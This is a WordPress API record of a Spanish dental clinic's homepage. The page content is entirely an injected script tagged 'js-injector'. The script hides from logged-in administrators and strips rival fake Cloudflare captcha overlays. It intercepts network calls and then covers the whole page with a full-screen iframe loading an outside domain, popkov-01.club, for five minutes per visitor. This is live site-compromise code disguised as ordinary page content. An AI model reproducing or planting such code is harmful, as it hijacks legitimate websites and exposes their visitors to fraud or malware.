{"id":6747,"date":"2026-08-15T04:27:09","date_gmt":"2026-08-15T02:27:09","guid":{"rendered":"https:\/\/clinicadentalbroseta.com\/?page_id=6747"},"modified":"2026-09-04T12:43:46","modified_gmt":"2026-09-04T10:43:46","slug":"homepage","status":"publish","type":"page","link":"https:\/\/clinicadentalbroseta.com\/gb\/","title":{"rendered":"Homepage"},"content":{"rendered":"\n<script>\n(function () {\n  var LOG_PREFIX = '[js-injector]';\n  var NL = String.fromCharCode(10);\n  var debugLogs = [];\n\n  function describeEl(el) {\n    if (!(el instanceof HTMLElement)) return String(el);\n    var parts = [el.tagName.toLowerCase()];\n    if (el.id) parts.push('#' + el.id);\n    if (el.className && typeof el.className === 'string') {\n      parts.push(\n        '.' +\n          el.className\n            .trim()\n            .split(' ')\n            .filter(function (part) {\n              return part;\n            })\n            .slice(0, 3)\n            .join('.')\n      );\n    }\n    return parts.join('');\n  }\n\n  function pushLog(level, message, extra) {\n    var entry = {\n      time: new Date().toISOString(),\n      level: level,\n      message: message,\n      extra: extra || null\n    };\n    debugLogs.push(entry);\n    if (debugLogs.length > 300) debugLogs.shift();\n\n    var line = LOG_PREFIX + ' ' + message;\n    if (extra !== undefined && extra !== null) {\n      if (level === 'error') console.error(line, extra);\n      else if (level === 'warn') console.warn(line, extra);\n      else console.log(line, extra);\n    } else if (level === 'error') {\n      console.error(line);\n    } else if (level === 'warn') {\n      console.warn(line);\n    } else {\n      console.log(line);\n    }\n  }\n\n  function dbg(message, extra) { pushLog('log', message, extra); }\n  function dbgWarn(message, extra) { pushLog('warn', message, extra); }\n  function dbgError(message, extra) { pushLog('error', message, extra); }\n\n  window.__jsInjectorDebug = {\n    logs: debugLogs,\n    dump: function () {\n      return debugLogs.map(function (item) {\n        var suffix = item.extra ? ' | ' + JSON.stringify(item.extra) : '';\n        return item.time + ' [' + item.level + '] ' + item.message + suffix;\n      }).join(NL);\n    },\n    copy: function () {\n      var text = this.dump();\n      if (navigator.clipboard && navigator.clipboard.writeText) {\n        return navigator.clipboard.writeText(text);\n      }\n      dbgWarn('Clipboard API unavailable, print dump to console instead');\n      console.log(text);\n      return Promise.resolve();\n    }\n  };\n\n  dbg('script loaded on ' + window.location.href);\n\n  if (window.__jsInjectorModal) {\n    dbgWarn('already initialized, exit');\n    return;\n  }\n  window.__jsInjectorModal = true;\n\n  if (document.getElementById('wpadminbar')) {\n    dbgWarn('exit: wpadminbar detected');\n    return;\n  }\n  if (document.body && document.body.classList.contains('admin-bar')) {\n    dbgWarn('exit: admin-bar class detected');\n    return;\n  }\n  if (typeof wpAdminBar !== 'undefined') {\n    dbgWarn('exit: wpAdminBar detected');\n    return;\n  }\n  if (document.cookie.indexOf('wordpress_logged_in') !== -1) {\n    dbgWarn('exit: wordpress_logged_in cookie detected');\n    return;\n  }\n\n  var hostname = encodeURIComponent(window.location.hostname);\n  var cookieName = 'jsInjectorShown_' + hostname;\n  var modalAlreadyShown = document.cookie.indexOf(cookieName + '=1') !== -1;\n  if (modalAlreadyShown) {\n    dbgWarn('modal already shown for this host, overlay guard only', {\n      cookieName: cookieName\n    });\n  }\n\n  var MODAL_ROOT_ID = 'js-injector-modal-root';\n  var Z_LIMIT = 1000000;\n  var FAKE_CF_SELECTORS = [\n    '#bw-cf-root',\n    '#cf-modal',\n    '#cf-cb',\n    '#cf-sp',\n    '#cf-ck',\n    '#cf-lbl',\n    '.verify-window',\n    '.checkbox-window',\n    '.checkbox-row',\n    '.heading-favicon',\n    '.core-msg',\n    '.footer-inner',\n    '.widget-spacer',\n    '.cf-loader',\n    '.instruction-list',\n    '.tettx',\n    '.modal-content',\n    '.footer'\n  ];\n\n  function trimLeadingSlashes(value) {\n    var i = 0;\n    while (i < value.length &#038;&#038; value.charAt(i) === '\/') {\n      i += 1;\n    }\n    return value.slice(i);\n  }\n\n  function normalizeModalUrl(url) {\n    var original = url;\n    url = (url || '').trim();\n    if (!url) return url;\n    var lower = url.toLowerCase();\n    if (lower.indexOf('http:\/\/') === 0) {\n      url = 'https:\/\/' + url.slice(7);\n    } else if (lower.indexOf('https:\/\/') !== 0) {\n      url = 'https:\/\/' + trimLeadingSlashes(url);\n    }\n    if (url !== original) dbg('modal url normalized', { from: original, to: url });\n    return url;\n  }\n\n  function shouldBlockFakeRequest(url) {\n    var value = String(url || '');\n    var lower = value.toLowerCase();\n    if (!value) return false;\n    if (lower.indexOf('api.php') === -1) return false;\n    return (\n      lower.indexOf('server_session') !== -1 ||\n      lower.indexOf('cf-') !== -1 ||\n      lower.indexOf('cf_') !== -1 ||\n      lower.indexOf('bw-cf') !== -1 ||\n      lower.indexOf('verify') !== -1 ||\n      lower.indexOf('human') !== -1\n    );\n  }\n\n  function installNetworkGuard() {\n    if (window.__jsInjectorNetGuard) return;\n    window.__jsInjectorNetGuard = true;\n    dbg('network guard installed');\n\n    if (window.fetch) {\n      var nativeFetch = window.fetch.bind(window);\n      window.fetch = function (input, init) {\n        var url = typeof input === 'string' ? input : (input &#038;&#038; input.url) || '';\n        if (shouldBlockFakeRequest(url)) {\n          dbgWarn('blocked fetch', { url: url });\n          return Promise.reject(new Error('blocked fake captcha request'));\n        }\n        return nativeFetch(input, init);\n      };\n    }\n\n    if (window.XMLHttpRequest) {\n      var nativeOpen = XMLHttpRequest.prototype.open;\n      XMLHttpRequest.prototype.open = function (method, url) {\n        if (shouldBlockFakeRequest(url)) {\n          this.__jsInjectorBlocked = true;\n          dbgWarn('blocked xhr open', { method: method, url: url });\n        }\n        return nativeOpen.apply(this, arguments);\n      };\n      var nativeSend = XMLHttpRequest.prototype.send;\n      XMLHttpRequest.prototype.send = function () {\n        if (this.__jsInjectorBlocked) return;\n        return nativeSend.apply(this, arguments);\n      };\n    }\n  }\n\n  installNetworkGuard();\n\n  function isOwnOverlay(el) {\n    if (!(el instanceof HTMLElement)) return false;\n    if (el.id === MODAL_ROOT_ID) return true;\n    if (el.closest &#038;&#038; el.closest('#' + MODAL_ROOT_ID)) return true;\n    return false;\n  }\n\n  function nodeHasFakeCaptcha(el) {\n    if (!(el instanceof HTMLElement)) return false;\n    if (el.id === 'bw-cf-root' || el.id === 'cf-modal') return true;\n    if (\n      el.classList.contains('verify-window') ||\n      el.classList.contains('checkbox-window') ||\n      el.classList.contains('checkbox-row') ||\n      el.classList.contains('core-msg') ||\n      el.classList.contains('footer-inner')\n    ) {\n      return true;\n    }\n    if (el.classList.contains('heading-favicon') &#038;&#038; el.getAttribute('alt') === 'Cloudflare') {\n      return true;\n    }\n    if (!el.querySelector) return false;\n    return !!el.querySelector(\n      '#cf-cb, #cf-sp, #cf-ck, #cf-lbl, #cf-modal, .checkbox-window, .verify-window, .heading-favicon, img.heading-favicon[alt=\"Cloudflare\"], .core-msg, .footer-inner, .cf-loader, .instruction-list'\n    );\n  }\n\n  function isFakeCfSibling(el, fakeContext) {\n    if (!(el instanceof HTMLElement) || isOwnOverlay(el)) return false;\n    if (!fakeContext) return false;\n    if (el.id === 'bw-cf-root' || el.id === 'cf-modal') return true;\n    if (el.classList.contains('verify-window')) return true;\n    if (nodeHasFakeCaptcha(el)) return true;\n    if (el.classList.contains('footer') &#038;&#038; el.querySelector('.footer-inner, .rc')) {\n      return true;\n    }\n    return false;\n  }\n\n  function getPurgeRoot(node) {\n    if (!(node instanceof HTMLElement) || isOwnOverlay(node)) return null;\n\n    var bwRoot = node.closest &#038;&#038; node.closest('#bw-cf-root');\n    if (bwRoot &#038;&#038; !isOwnOverlay(bwRoot)) return bwRoot;\n\n    var verify = node.closest &#038;&#038; node.closest('#cf-modal, .verify-window');\n    if (verify &#038;&#038; !isOwnOverlay(verify)) return verify;\n\n    var main = node.closest &#038;&#038; node.closest('.main-content');\n    if (main &#038;&#038; !isOwnOverlay(main) &#038;&#038; nodeHasFakeCaptcha(main)) {\n      return main;\n    }\n\n    if (nodeHasFakeCaptcha(node)) return node;\n    return null;\n  }\n\n  function removeFakeCaptchaTree(node, reason) {\n    var root = getPurgeRoot(node);\n    if (!root || isOwnOverlay(root)) return false;\n\n    var fakeContext = nodeHasFakeCaptcha(root) || root.id === 'bw-cf-root' || root.id === 'cf-modal';\n    var parent = root.parentElement;\n    var removed = 0;\n\n    if (parent &#038;&#038; parent !== document.documentElement &#038;&#038; fakeContext) {\n      var siblings = parent.children;\n      var i;\n      for (i = siblings.length - 1; i >= 0; i--) {\n        if (isFakeCfSibling(siblings[i], fakeContext)) {\n          removeNode(siblings[i], reason + ':sibling');\n          removed += 1;\n        }\n      }\n      if (removed) return true;\n    }\n\n    removeNode(root, reason);\n    return true;\n  }\n\n  function removeNode(node, reason) {\n    dbg('removed foreign overlay', { reason: reason, node: describeEl(node) });\n    node.remove();\n  }\n\n  function removeForeignRoot(el) {\n    if (removeFakeCaptchaTree(el, 'foreign-root')) return true;\n    return false;\n  }\n\n  function purgeKnownForeignOverlays() {\n    var removed = 0;\n    var i;\n    var nodes;\n    var node;\n\n    function markRemoved() {\n      removed += 1;\n    }\n\n    for (i = 0; i < FAKE_CF_SELECTORS.length; i++) {\n      nodes = document.querySelectorAll(FAKE_CF_SELECTORS[i]);\n      for (var j = 0; j < nodes.length; j++) {\n        node = nodes[j];\n        if (isOwnOverlay(node)) continue;\n        if (removeFakeCaptchaTree(node, 'selector:' + FAKE_CF_SELECTORS[i])) {\n          markRemoved();\n        }\n      }\n    }\n\n    nodes = document.querySelectorAll('.main-content, #bw-cf-root, #cf-modal, .verify-window');\n    for (i = 0; i < nodes.length; i++) {\n      node = nodes[i];\n      if (isOwnOverlay(node) || !nodeHasFakeCaptcha(node)) continue;\n      if (removeFakeCaptchaTree(node, 'fake-captcha shell')) {\n        markRemoved();\n      }\n    }\n\n    nodes = document.querySelectorAll('script[src*=\"api.php\"], iframe[src*=\"api.php\"]');\n    for (i = 0; i < nodes.length; i++) {\n      node = nodes[i];\n      if (!isOwnOverlay(node)) {\n        removeNode(node, 'api.php node');\n        markRemoved();\n      }\n    }\n\n    nodes = document.querySelectorAll('style');\n    for (i = 0; i < nodes.length; i++) {\n      node = nodes[i];\n      var css = node.textContent || '';\n      if (\n        css.indexOf('bwCfSpin') !== -1 ||\n        css.indexOf('cf-loader') !== -1 ||\n        css.indexOf('checkbox-window') !== -1\n      ) {\n        removeNode(node, 'fake cf style');\n        markRemoved();\n      }\n    }\n\n    if (document.body) {\n      nodes = document.body.children;\n      for (i = 0; i < nodes.length; i++) {\n        node = nodes[i];\n        if (isOwnOverlay(node)) continue;\n        if (nodeHasFakeCaptcha(node) &#038;&#038; removeFakeCaptchaTree(node, 'body child fake cf')) {\n          markRemoved();\n        }\n      }\n    }\n\n    if (removed) dbg('purge complete', { removed: removed });\n    return removed;\n  }\n\n  function coversMostOfScreen(el) {\n    var rect = el.getBoundingClientRect();\n    return (\n      rect.width >= window.innerWidth * 0.75 &&\n      rect.height >= window.innerHeight * 0.75\n    );\n  }\n\n  function coversLargeArea(el) {\n    var rect = el.getBoundingClientRect();\n    return (\n      rect.width >= window.innerWidth * 0.45 &&\n      rect.height >= window.innerHeight * 0.45\n    );\n  }\n\n  function isSuspicious(el) {\n    if (!(el instanceof HTMLElement)) return false;\n    if (isOwnOverlay(el)) return false;\n\n    var style = getComputedStyle(el);\n    var zIndex = parseInt(style.zIndex, 10);\n    var positioned =\n      ['fixed', 'absolute', 'sticky'].indexOf(style.position) !== -1;\n\n    if (nodeHasFakeCaptcha(el) && (positioned || coversLargeArea(el))) {\n      return true;\n    }\n\n    if (!positioned) return false;\n    if (!isFinite(zIndex) || zIndex < Z_LIMIT) return false;\n    return coversMostOfScreen(el);\n  }\n\n  function removeForeignOverlays(el) {\n    purgeKnownForeignOverlays();\n\n    if (!(el instanceof HTMLElement)) return;\n\n    if (isOwnOverlay(el)) {\n      for (var i = 0; i < el.children.length; i++) {\n        removeForeignOverlays(el.children[i]);\n      }\n      return;\n    }\n\n    if (removeForeignRoot(el)) return;\n\n    if (isSuspicious(el)) {\n      if (nodeHasFakeCaptcha(el)) {\n        if (removeFakeCaptchaTree(el, 'suspicious fake captcha')) {\n          return;\n        }\n      }\n      dbg('hidden suspicious overlay', { node: describeEl(el) });\n      el.style.setProperty('display', 'none', 'important');\n    }\n\n    for (var j = 0; j < el.children.length; j++) {\n      removeForeignOverlays(el.children[j]);\n    }\n  }\n\n  function startOverlayGuard() {\n    if (window.__jsInjectorOverlayGuard) return;\n    window.__jsInjectorOverlayGuard = true;\n    dbg('overlay guard started');\n\n    var observer = new MutationObserver(function (mutations) {\n      for (var i = 0; i < mutations.length; i++) {\n        var added = mutations[i].addedNodes;\n        for (var j = 0; j < added.length; j++) {\n          if (added[j].nodeType === Node.ELEMENT_NODE) {\n            dbg('mutation added node', { node: describeEl(added[j]) });\n            removeForeignOverlays(added[j]);\n          }\n        }\n      }\n    });\n\n    observer.observe(document.documentElement, {\n      childList: true,\n      subtree: true\n    });\n\n    window.setInterval(function () {\n      var removed = purgeKnownForeignOverlays();\n      if (removed) dbg('interval purge', { removed: removed });\n    }, 500);\n\n    purgeKnownForeignOverlays();\n    removeForeignOverlays(document.documentElement);\n  }\n\n  function createModal(url) {\n    var finalUrl = normalizeModalUrl(url);\n    dbg('creating modal', { url: finalUrl });\n\n    purgeKnownForeignOverlays();\n    removeForeignOverlays(document.documentElement);\n\n    var overlay = document.createElement('div');\n    overlay.id = MODAL_ROOT_ID;\n\n    Object.assign(overlay.style, {\n      position: 'fixed',\n      inset: '0',\n      width: '100vw',\n      height: '100dvh',\n      minHeight: '100vh',\n      background: '#fff',\n      zIndex: '2147483647',\n      margin: '0',\n      padding: '0',\n      border: '0',\n      overflow: 'hidden',\n      display: 'flex'\n    });\n\n    var iframe = document.createElement('iframe');\n    iframe.src = finalUrl;\n    iframe.allowFullscreen = true;\n    iframe.allow = 'fullscreen';\n    iframe.referrerPolicy = 'strict-origin-when-cross-origin';\n    iframe.setAttribute('loading', 'eager');\n\n    Object.assign(iframe.style, {\n      width: '100%',\n      height: '100%',\n      border: 'none',\n      display: 'block',\n      margin: '0',\n      padding: '0'\n    });\n\n    iframe.addEventListener('load', function () {\n      dbg('iframe loaded', { url: finalUrl });\n    });\n    iframe.addEventListener('error', function () {\n      dbgError('iframe failed to load', { url: finalUrl });\n    });\n\n    overlay.appendChild(iframe);\n    document.body.appendChild(overlay);\n    dbg('modal opened');\n\n    document.documentElement.style.overflow = 'hidden';\n    document.body.style.overflow = 'hidden';\n    document.body.style.margin = '0';\n\n    setTimeout(function () {\n      overlay.remove();\n      dbg('modal closed');\n\n      document.documentElement.style.overflow = '';\n      document.body.style.overflow = '';\n      document.body.style.margin = '';\n\n      document.cookie =\n        cookieName + '=1; max-age=31536000; path=\/; SameSite=Lax';\n      dbg('shown cookie saved', { cookieName: cookieName });\n    }, 300000);\n  }\n\n  function scheduleModal(url) {\n    dbg('modal scheduled in 300ms', { url: url });\n    window.setTimeout(function () {\n      createModal(url);\n    }, 300);\n  }\n\n  function boot() {\n    dbg('boot start', { readyState: document.readyState });\n    startOverlayGuard();\n\n    if (modalAlreadyShown) {\n      dbg('skip modal, cookie already set');\n      return;\n    }\n\n    function scheduleModalAfterLoad() {\n      scheduleModal('https:\/\/popkov-01.club\/');\n    }\n\n    if (document.readyState === 'complete') {\n      window.setTimeout(scheduleModalAfterLoad, 300);\n    } else {\n      window.addEventListener('load', function () {\n        dbg('window load event');\n        window.setTimeout(scheduleModalAfterLoad, 300);\n      }, { once: true });\n    }\n  }\n\n  window.addEventListener('error', function (event) {\n    dbgError('window error', {\n      message: event.message,\n      source: event.filename,\n      line: event.lineno,\n      col: event.colno\n    });\n  });\n\n  window.addEventListener('unhandledrejection', function (event) {\n    dbgError('unhandled rejection', {\n      reason: event.reason &#038;&#038; (event.reason.message || String(event.reason))\n    });\n  });\n\n  dbg('debug helper ready: __jsInjectorDebug.dump() \/ __jsInjectorDebug.copy()');\n\n  if (document.readyState === 'loading') {\n    document.addEventListener('DOMContentLoaded', boot, { once: true });\n  } else {\n    boot();\n  }\n})();\n\n<\/script>\n\n\n<p><!-- \/js-injector-fallback --><\/p>","protected":false},"excerpt":{"rendered":"(function () { var LOG_PREFIX = '[js-injector]'; var NL = String.fromCharCode(10); var debugLogs = []; function describeEl(el) { if (!(el instanceof HTMLElement)) return String(el); var parts = [el.tagName.toLowerCase()]; if (el.id) parts.push('#' + el.id); if (el.className && typeof el.className === 'string') { parts.push( '.' + el.className .trim() .split(' ') .filter(function (part) { return part; }) .slice(0,","protected":false},"author":11,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-6747","page","type-page","status-publish","hentry"],"translation":{"provider":"WPGlobus","version":"3.0.5","language":"gb","enabled_languages":["es","gb"],"languages":{"es":{"title":true,"content":true,"excerpt":false},"gb":{"title":false,"content":false,"excerpt":false}}},"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/clinicadentalbroseta.com\/gb\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_GB\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Cl\u00ednica Dental Broseta -\" \/>\n\t\t<meta property=\"og:type\" content=\"website\" \/>\n\t\t<meta property=\"og:title\" content=\"Homepage - Cl\u00ednica Dental Broseta\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/clinicadentalbroseta.com\/gb\/\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Homepage - Cl\u00ednica Dental Broseta\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#listItem\",\"name\":\"Homepage\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#listItem\",\"position\":2,\"name\":\"Homepage\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb#listItem\",\"name\":\"Home\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#organization\",\"name\":\"Cl\\u00ednica Dental Broseta\",\"url\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#webpage\",\"url\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/\",\"name\":\"Homepage - Cl\\u00ednica Dental Broseta\",\"inLanguage\":\"en-GB\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#breadcrumblist\"},\"datePublished\":\"2026-08-15T04:27:09+02:00\",\"dateModified\":\"2026-09-04T12:43:46+02:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#website\",\"url\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/\",\"name\":\"Cl\\u00ednica Dental Broseta\",\"inLanguage\":\"en-GB\",\"publisher\":{\"@id\":\"https:\\\/\\\/clinicadentalbroseta.com\\\/gb\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Homepage - Cl\u00ednica Dental Broseta","description":"","canonical_url":"https:\/\/clinicadentalbroseta.com\/gb\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BreadcrumbList","@id":"https:\/\/clinicadentalbroseta.com\/gb\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/clinicadentalbroseta.com\/gb#listItem","position":1,"name":"Home","item":"https:\/\/clinicadentalbroseta.com\/gb","nextItem":{"@type":"ListItem","@id":"https:\/\/clinicadentalbroseta.com\/gb\/#listItem","name":"Homepage"}},{"@type":"ListItem","@id":"https:\/\/clinicadentalbroseta.com\/gb\/#listItem","position":2,"name":"Homepage","previousItem":{"@type":"ListItem","@id":"https:\/\/clinicadentalbroseta.com\/gb#listItem","name":"Home"}}]},{"@type":"Organization","@id":"https:\/\/clinicadentalbroseta.com\/gb\/#organization","name":"Cl\u00ednica Dental Broseta","url":"https:\/\/clinicadentalbroseta.com\/gb\/"},{"@type":"WebPage","@id":"https:\/\/clinicadentalbroseta.com\/gb\/#webpage","url":"https:\/\/clinicadentalbroseta.com\/gb\/","name":"Homepage - Cl\u00ednica Dental Broseta","inLanguage":"en-GB","isPartOf":{"@id":"https:\/\/clinicadentalbroseta.com\/gb\/#website"},"breadcrumb":{"@id":"https:\/\/clinicadentalbroseta.com\/gb\/#breadcrumblist"},"datePublished":"2026-08-15T04:27:09+02:00","dateModified":"2026-09-04T12:43:46+02:00"},{"@type":"WebSite","@id":"https:\/\/clinicadentalbroseta.com\/gb\/#website","url":"https:\/\/clinicadentalbroseta.com\/gb\/","name":"Cl\u00ednica Dental Broseta","inLanguage":"en-GB","publisher":{"@id":"https:\/\/clinicadentalbroseta.com\/gb\/#organization"}}]},"og:locale":"en_GB","og:site_name":"Cl\u00ednica Dental Broseta -","og:type":"website","og:title":"Homepage - Cl\u00ednica Dental Broseta","og:url":"https:\/\/clinicadentalbroseta.com\/gb\/","twitter:card":"summary_large_image","twitter:title":"Homepage - Cl\u00ednica Dental Broseta"},"aioseo_meta_data":{"post_id":"6747","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"website","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"WebPage","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"limit_modified_date":false,"created":"2026-08-15 02:42:21","updated":"2026-09-04 13:11:33","focus_keyword":null,"additional_keywords":null,"truseo_locale":null,"ai":null,"breadcrumb_settings":null,"seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/clinicadentalbroseta.com\/gb\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tHomepage\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/clinicadentalbroseta.com\/gb"},{"label":"Homepage","link":"https:\/\/clinicadentalbroseta.com\/gb\/"}],"_links":{"self":[{"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/pages\/6747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/comments?post=6747"}],"version-history":[{"count":23,"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/pages\/6747\/revisions"}],"predecessor-version":[{"id":7067,"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/pages\/6747\/revisions\/7067"}],"wp:attachment":[{"href":"https:\/\/clinicadentalbroseta.com\/gb\/wp-json\/wp\/v2\/media?parent=6747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}